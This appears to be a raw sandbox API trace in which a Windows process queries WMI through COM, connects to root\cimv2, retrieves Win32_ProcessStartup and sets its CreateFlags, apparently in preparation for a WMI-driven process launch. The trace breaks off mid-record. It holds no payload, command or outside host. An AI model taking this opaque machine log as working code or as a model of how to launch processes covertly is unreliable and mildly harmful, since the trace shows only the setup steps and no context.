[0108.062] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x2 [0108.062] WbemDefPath:IWbemPath:SetText (This=0x656cf0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0108.062] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0108.062] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0108.062] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.062] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0108.062] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0108.062] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0108.062] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.063] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x65af60) returned 0x0 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x65af60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0108.063] WbemLocator:IClassFactory:CreateInstance (in: This=0x65af60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45cdb0) returned 0x0 [0108.063] WbemLocator:IUnknown:Release (This=0x65af60) returned 0x0 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45cdb0) returned 0x0 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0108.063] WbemLocator:IUnknown:AddRef (This=0x1b45cdb0) returned 0x3 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0108.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0108.063] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0108.064] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0108.064] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0108.064] WbemLocator:IUnknown:Release (This=0x1b45cdb0) returned 0x2 [0108.064] WbemLocator:IUnknown:Release (This=0x1b45cdb0) returned 0x1 [0108.064] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0108.064] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0108.064] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45cdb0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45cdb0) returned 0x0 [0108.064] WbemLocator:IUnknown:AddRef (This=0x1b45cdb0) returned 0x3 [0108.064] WbemLocator:IUnknown:Release (This=0x1b45cdb0) returned 0x2 [0108.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0108.064] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0108.064] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.064] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x633340) returned 0x0 [0108.064] WbemLocator:IWbemLocator:ConnectServer (in: This=0x633340, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4b4d30) returned 0x0 [0108.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4d30, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4525e0) returned 0x0 [0108.132] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4525e0, pProxy=0x1b4b4d30, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0108.132] WbemLocator:IUnknown:Release (This=0x1b4525e0) returned 0x1 [0108.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4d30, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b452628) returned 0x0 [0108.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4d30, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4525e0) returned 0x0 [0108.132] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4525e0, pProxy=0x1b4b4d30, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0108.132] WbemLocator:IUnknown:Release (This=0x1b4525e0) returned 0x2 [0108.132] WbemLocator:IUnknown:Release (This=0x1b452628) returned 0x1 [0108.132] CoTaskMemFree (pv=0x1b4615e0) [0108.132] WbemLocator:IUnknown:Release (This=0x633340) returned 0x0 [0108.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4d30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b452628) returned 0x0 [0108.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0108.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0108.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4d30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0108.133] WbemLocator:IUnknown:AddRef (This=0x1b452628) returned 0x3 [0108.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0108.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0108.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b452508) returned 0x0 [0108.134] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b452508, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.134] WbemLocator:IUnknown:Release (This=0x1b452508) returned 0x3 [0108.134] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0108.134] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0108.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4525f0) returned 0x0 [0108.134] WbemLocator:IRpcOptions:Query (in: This=0x1b4525f0, pPrx=0x1b452628, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0108.134] WbemLocator:IUnknown:Release (This=0x1b4525f0) returned 0x3 [0108.134] WbemLocator:IUnknown:Release (This=0x1b452628) returned 0x2 [0108.134] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0108.134] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0108.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4b4d30) returned 0x0 [0108.134] WbemLocator:IUnknown:AddRef (This=0x1b4b4d30) returned 0x4 [0108.134] WbemLocator:IUnknown:Release (This=0x1b4b4d30) returned 0x3 [0108.134] WbemLocator:IUnknown:Release (This=0x1b4b4d30) returned 0x2 [0108.134] SysStringLen (param_1=0x0) returned 0x0 [0108.134] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0108.134] WbemLocator:IUnknown:AddRef (This=0x1b452628) returned 0x3 [0108.134] WbemLocator:IUnknown:QueryInterface (in: This=0x1b452628, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b452628) returned 0x0 [0108.134] WbemLocator:IUnknown:Release (This=0x1b452628) returned 0x3 [0108.134] WbemLocator:IUnknown:Release (This=0x1b452628) returned 0x2 [0108.134] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0108.134] WbemDefPath:IWbemPath:GetText (in: This=0x6567b0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0108.135] IWbemServices:GetObject (in: This=0x1b4b4d30, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4ad860, ppCallResult=0x0) returned 0x0 [0108.136] IWbemClassObject:Get (in: This=0x1b4ad860, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0108.136] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0108.136] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0108.136] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0108.136] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0108.137] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0108.137] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.138] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4abd50) returned 0x0 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abd50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0108.139] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abd50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x656870) returned 0x0 [0108.139] WbemDefPath:IUnknown:Release (This=0x1b4abd50) returned 0x0 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x656870) returned 0x0 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0108.139] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4abbd0) returned 0x0 [0108.139] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abbd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.139] WbemDefPath:IUnknown:Release (This=0x1b4abbd0) returned 0x3 [0108.139] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0108.139] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0108.139] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0108.140] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0108.140] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0108.140] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0108.140] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0108.140] WbemDefPath:IUnknown:QueryInterface (in: This=0x656870, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x656870) returned 0x0 [0108.140] WbemDefPath:IUnknown:AddRef (This=0x656870) returned 0x3 [0108.140] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x2 [0108.140] WbemDefPath:IWbemPath:SetText (This=0x656870, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0108.140] IWbemClassObject:Get (in: This=0x1b4ad860, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277e788*=0, plFlavor=0x277e78c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277e788*=19, plFlavor=0x277e78c*=0) returned 0x0 [0108.140] IWbemClassObject:Get (in: This=0x1b4ad860, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277e788*=19, plFlavor=0x277e78c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277e788*=19, plFlavor=0x277e78c*=0) returned 0x0 [0108.140] IWbemClassObject:Put (This=0x1b4ad860, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0108.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655d30, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0108.140] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0108.140] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0108.140] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.140] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0108.140] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0108.140] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0108.140] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.141] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, 